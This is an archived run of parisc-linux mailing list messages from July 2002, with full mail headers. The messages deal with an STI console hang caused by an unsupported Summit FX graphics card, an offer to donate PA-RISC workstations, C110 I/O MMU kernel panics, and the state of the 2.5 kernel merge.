X-Trace: ger.gmane.org 1416621552 11298 80.91.229.3 (22 Nov 2014 01:59:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 21 10:34:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from primare.xs4all.nl (primare.xs4all.nl [213.84.188.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39FAC4858
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Jul 2002 10:34:19 -0600 (MDT)
Original-Received: (from djmuggs@localhost)
	by primare.xs4all.nl (8.12.3/8.11.1) id g6LGZ99x017246
	for parisc-linux@lists.parisc-linux.org; Sun, 21 Jul 2002 18:35:09 +0200 (CEST)
	(envelope-from djmuggs)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15597

Hi,

When i boot my C3K with Monitor and Keyboard connected the system doesn't seem to boot fine.
The last thing i see on the screen is that the cron is starting!

But when i use a serial or an ssh connection to the C3K it works.

So it looks like the system boots fine, but i can't use it with a monitor connected :(

I'm running 2.4.18-pa39 for the kernel.

Anyone got an idea?

Kind regards,

Cristian van Ee. 


From - Thu Nov 08 21:23:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PARISC Linux machines?
Date: Sun, 21 Jul 2002 19:04:46 +0200
Organization: Power Penguin Club
Lines: 33
Approved: news@gmane.org
Message-ID: <3D3AE9AE.189C701E@ruhr-west.de>
References: <20020721150611.GA16503@maddentechnologies.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621552 11299 80.91.229.3 (22 Nov 2014 01:59:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Michael Madden <madden@maddentechnologies.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 21 11:07:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout07.sul.t-online.com (mailout07.sul.t-online.com [194.25.134.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2C50485A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Jul 2002 11:07:36 -0600 (MDT)
Original-Received: from fwd05.sul.t-online.de 
	by mailout07.sul.t-online.com with smtp 
	id 17WKBB-0003n6-06; Sun, 21 Jul 2002 19:07:33 +0200
Original-Received: from marvin.forty.two (520058847159-0001@[217.5.18.246]) by fmrl05.sul.t-online.com
	with esmtp id 17WKB6-1LxxuiC; Sun, 21 Jul 2002 19:07:28 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by marvin.forty.two (8.11.6/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id g6LH59Z31780;
	Sun, 21 Jul 2002 19:05:09 +0200
Original-Received: from ruhr-west.de (localhost [127.0.0.1])
	by localhost (AvMailGate-6.13.0.1) id 31776-63DCBCCC;
	Sun, 21 Jul 2002 19:04:46 +0200
X-AntiVirus: OK! AvMailGate Version 6.13.0.26
	 at marvin has not found any known virus in this email.
X-Mailer: Mozilla 4.78 [de] (X11; U; Linux 2.4.16-4GB i686)
X-Sender: 520058847159-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15598

Michael Madden schrieb:
> 
> Hello;
> 
> I was wondering if anyone out there needs older PA-RISC machines to use on
> PA-RISC Linux and the Debian 3.0 port to PA-RISC.  I have many 735
> workstations, a few 725/715 workstations, and a few C110 workstations.
> 
> Right now, they are all collecting dust.  I'd be willing to donate the
> machines to someone who will put them to use on the PA-RISC Linux
> or Debian 3.0 project.
> 
> Thanks,
> 
> Michael Madden

Hi Michael,

see http://www.openpa.net (particulary
http://www.openpa.net/about.html). Paul seems to have an interest in
that. I could do with some C110 memory, but it's nbot worth to strip
a working box for that.

Juergen



-- 
===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
===========================================_\_v __/_/_//_/\_,_/ /_/\_\


From - Thu Nov 08 21:23:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Systems Console hangs!
Date: Sun, 21 Jul 2002 12:36:37 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20020721183637.5E5DB484B@dsl2.external.hp.com>
References: <20020721183508.C16644@primare.xs4all.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621552 11302 80.91.229.3 (22 Nov 2014 01:59:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: DJ Tha Muggs <djmuggs@primare.xs4all.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 21 12:36:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 5E5DB484B; Sun, 21 Jul 2002 12:36:37 -0600 (MDT)
In-Reply-To: Message from DJ Tha Muggs <djmuggs@primare.xs4all.nl> 
   of "Sun, 21 Jul 2002 18:35:09 +0200." <20020721183508.C16644@primare.xs4all.nl> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15599

DJ Tha Muggs wrote:
> So it looks like the system boots fine, but i can't use it with a monitor con
>   nected :(

Which graphics card is installed?
FWIW, only PCI Vis-EG gfx card is supported to date.
I thought the FAQ and "Supported HW" web pages covered this.

grant


From - Thu Nov 08 21:23:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: DJ Tha Muggs <djmuggs@primare.xs4all.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Systems Console hangs!
Date: Sun, 21 Jul 2002 20:54:54 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20020721205454.D16644@primare.xs4all.nl>
References: <20020721183508.C16644@primare.xs4all.nl> <djmuggs@primare.xs4all.nl> <20020721183637.5E5DB484B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621553 11305 80.91.229.3 (22 Nov 2014 01:59:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 21 12:54:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from primare.xs4all.nl (primare.xs4all.nl [213.84.188.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id CDB5F4859
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Jul 2002 12:54:05 -0600 (MDT)
Original-Received: (from djmuggs@localhost)
	by primare.xs4all.nl (8.12.3/8.11.1) id g6LIssuR017373;
	Sun, 21 Jul 2002 20:54:54 +0200 (CEST)
	(envelope-from djmuggs)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020721183637.5E5DB484B@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Sun, Jul 21, 2002 at 12:36:37PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15600

On Sun, Jul 21, 2002 at 12:36:37PM -0600, Grant Grundler wrote:
> DJ Tha Muggs wrote:
> > So it looks like the system boots fine, but i can't use it with a monitor con
> >   nected :(
> 
> Which graphics card is installed?
> FWIW, only PCI Vis-EG gfx card is supported to date.
> I thought the FAQ and "Supported HW" web pages covered this.
> 
I see the message for the faq in my screen and after a few seconds the machine contineus to boot in a higher resolution, so it seems my graphics works fine.

Here are some details i got from dmesg:
STI GSC/PCI graphics driver version 0.9
STI PCI graphic ROM found at f7000000 (2048 kB), fb at fa000000 (32 MB)
STI word mode ROM at f7000044, hpa at fa000000
STI id 2fc1066b-9a02587, conforms to spec rev. 8.09
STI device: HPA4553A
stifb: Unsupported gfx card id 0x2fc1066b

stifb: Unsupported gfx card id 0x2fc1066b
sticonsole_init: searching for STI ROMs
Console: switching to colour STI console 160x64

I hope this helps out?

Thx in advance,

Cristian.
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:23:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Solved: C110, kernel Panics, still more tears ;-(
Date: 21 Jul 2002 13:02:58 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <1027278178.28933.25.camel@beavis>
References: <3D383969.1657EF43@ruhr-west.de>
	<20020720152919.9D690483D@dsl2.external.hp.com> 
	<3D3A8209.DCAC18F7@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621553 11307 80.91.229.3 (22 Nov 2014 01:59:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:13 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc list <parisc-linux@lists.parisc-linux.org>
To: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 21 13:03:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB6984863
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Jul 2002 13:02:59 -0600 (MDT)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 9B240BCDB; Sun, 21 Jul 2002 13:02:58 -0600 (MDT)
In-Reply-To: <3D3A8209.DCAC18F7@ruhr-west.de>
X-Mailer: Ximian Evolution 1.0.7 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15601

> I use a setting of 2 now and was able to ftp a good collection of
> kernel.tar.gz files without crash. I hope this darn baby is *not*
> playing tricks on me now, since I was once able to ftp a 200 MB file
> without crash too. But all left to do is wait and watch and declare it
> fixed for the time beeing.

Glad to see you got this working.  I am not sure if the statistics are
still good (need to look into this again) ... but you could probably 
get a feel of size by checking out /proc/bus/runway/ccio to see how much
of the IO PDIR you are using.

- Ryan




From - Thu Nov 08 21:23:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: DJ Tha Muggs <djmuggs@primare.xs4all.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Systems Console hangs!
Date: Sun, 21 Jul 2002 21:23:46 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20020721212346.A17400@primare.xs4all.nl>
References: <20020721183508.C16644@primare.xs4all.nl> <djmuggs@primare.xs4all.nl> <20020721183637.5E5DB484B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621553 11311 80.91.229.3 (22 Nov 2014 01:59:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 21 13:22:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from primare.xs4all.nl (primare.xs4all.nl [213.84.188.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id A717F485B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Jul 2002 13:22:58 -0600 (MDT)
Original-Received: (from djmuggs@localhost)
	by primare.xs4all.nl (8.12.3/8.11.1) id g6LJNkWs017437;
	Sun, 21 Jul 2002 21:23:46 +0200 (CEST)
	(envelope-from djmuggs)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020721183637.5E5DB484B@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Sun, Jul 21, 2002 at 12:36:37PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15602

Grant,

Thank you for your reply, after looking at the FAQs i found this:

The system boots up on the STI Console but no "login:" prompt appears, what do I do ? 
Uncomment the tty0 in /etc/inittab.

I'm now trying this.

Cristian.

On Sun, Jul 21, 2002 at 12:36:37PM -0600, Grant Grundler wrote:
> DJ Tha Muggs wrote:
> > So it looks like the system boots fine, but i can't use it with a monitor con
> >   nected :(
> 
> Which graphics card is installed?
> FWIW, only PCI Vis-EG gfx card is supported to date.
> I thought the FAQ and "Supported HW" web pages covered this.
> 
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:23:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Systems Console hangs!
Date: Sun, 21 Jul 2002 21:40:49 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <200207212140.49577.deller@gmx.de>
References: <20020721183508.C16644@primare.xs4all.nl> <20020721183637.5E5DB484B@dsl2.external.hp.com> <20020721205454.D16644@primare.xs4all.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621554 11317 80.91.229.3 (22 Nov 2014 01:59:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: DJ Tha Muggs <djmuggs@primare.xs4all.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 21 13:43:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 6F9A44846
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Jul 2002 13:43:13 -0600 (MDT)
Original-Received: (qmail 13457 invoked by uid 0); 21 Jul 2002 19:43:03 -0000
Original-Received: from dialin-212-144-172-073.arcor-ip.net (HELO P100.helgenet.de) (212.144.172.73)
  by mail.gmx.net (mp018-rz3) with SMTP; 21 Jul 2002 19:43:03 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <20020721205454.D16644@primare.xs4all.nl>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15603

On Sunday 21 July 2002 20:54, DJ Tha Muggs wrote:
> On Sun, Jul 21, 2002 at 12:36:37PM -0600, Grant Grundler wrote:
> > DJ Tha Muggs wrote:
> > > So it looks like the system boots fine, but i can't use it with a
> > > monitor con nected :(
> >
> > Which graphics card is installed?
> > FWIW, only PCI Vis-EG gfx card is supported to date.
> > I thought the FAQ and "Supported HW" web pages covered this.
>
> I see the message for the faq in my screen and after a few seconds the
> machine contineus to boot in a higher resolution, so it seems my graphics
> works fine.
>
> Here are some details i got from dmesg:
> STI GSC/PCI graphics driver version 0.9
> STI PCI graphic ROM found at f7000000 (2048 kB), fb at fa000000 (32 MB)
> STI word mode ROM at f7000044, hpa at fa000000
> STI id 2fc1066b-9a02587, conforms to spec rev. 8.09
> STI device: HPA4553A
> stifb: Unsupported gfx card id 0x2fc1066b
>
> stifb: Unsupported gfx card id 0x2fc1066b
> sticonsole_init: searching for STI ROMs
> Console: switching to colour STI console 160x64

This is a Summit FX2, FX4 or FX6 gfx card.
As the messages above say you won't be able to use this card
as framebuffer device and thus it's not usable for X11 yet.
But at least Textmode (sticon) support should work.

Greetings,
Helge


From - Thu Nov 08 21:23:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] state of 2.5 merge
Date: Mon, 22 Jul 2002 03:40:37 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020722034037.F12523@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621554 11324 80.91.229.3 (22 Nov 2014 01:59:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:14 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 21 20:40:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 779154829
	for <parisc-linux@parisc-linux.org>; Sun, 21 Jul 2002 20:40:43 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17WT7l-0008Im-00
	for parisc-linux@parisc-linux.org; Mon, 22 Jul 2002 03:40:37 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15604

we're still a little short of attempting to link.  entry.S and head.S
need to be massaged to work in the new O(1) scheduler world.  note that
we're leaving preempt disabled until later.  once it does attempt to link,
i suspect we'll find there're a lot of functions which need to be written
(particularly mm-related ones) and probably some include cleanups to do.

i guesstimated it'd take a week to get to linking, and we're definitely
halfway there.  thanks to everyone who's participated in the merge,
including: paul bame, randolph chung, thibaut varene, richard hirst,
helge deller and grant grundler.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn_helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110, kernel Panics, still more tears ;-(
Date: Mon, 22 Jul 2002 08:24:13 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <200207220824.13959.bjorn_helgaas@hp.com>
References: <3D383969.1657EF43@ruhr-west.de> <20020720152919.9D690483D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621554 11331 80.91.229.3 (22 Nov 2014 01:59:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:14 +0000 (UTC)
Cc: parisc list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>,
	Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 22 08:25:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A16A4848
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Jul 2002 08:25:51 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 7CA65A008E6; Mon, 22 Jul 2002 10:25:50 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id BD61937F57; Mon, 22 Jul 2002 08:24:14 -0600 (MDT)
Original-Received: from eeyore (eeyore.fc.hp.com [15.1.54.199])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 34C06450B; Mon, 22 Jul 2002 08:24:14 -0600 (MDT)
User-Agent: KMail/1.4.1
In-Reply-To: <20020720152919.9D690483D@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15605

On Saturday 20 July 2002 9:29 am, Grant Grundler wrote:
> Juergen Braukmann wrote:
> > Hi Grant and all,
> >
> > still more tears. I compiled and replaced the kernel, using
> > 2.4.18pa55. I used the setting of ccio_mem_ratio=16, but still my
> > kernel panics with Kernel panic: ccio-dma.c ccio_alloc_range() I/O MMU
> > is out of mapping resources.
> > In interrupt handler - not syncing
>
> Sorry - my bad - I think I have it backwards.
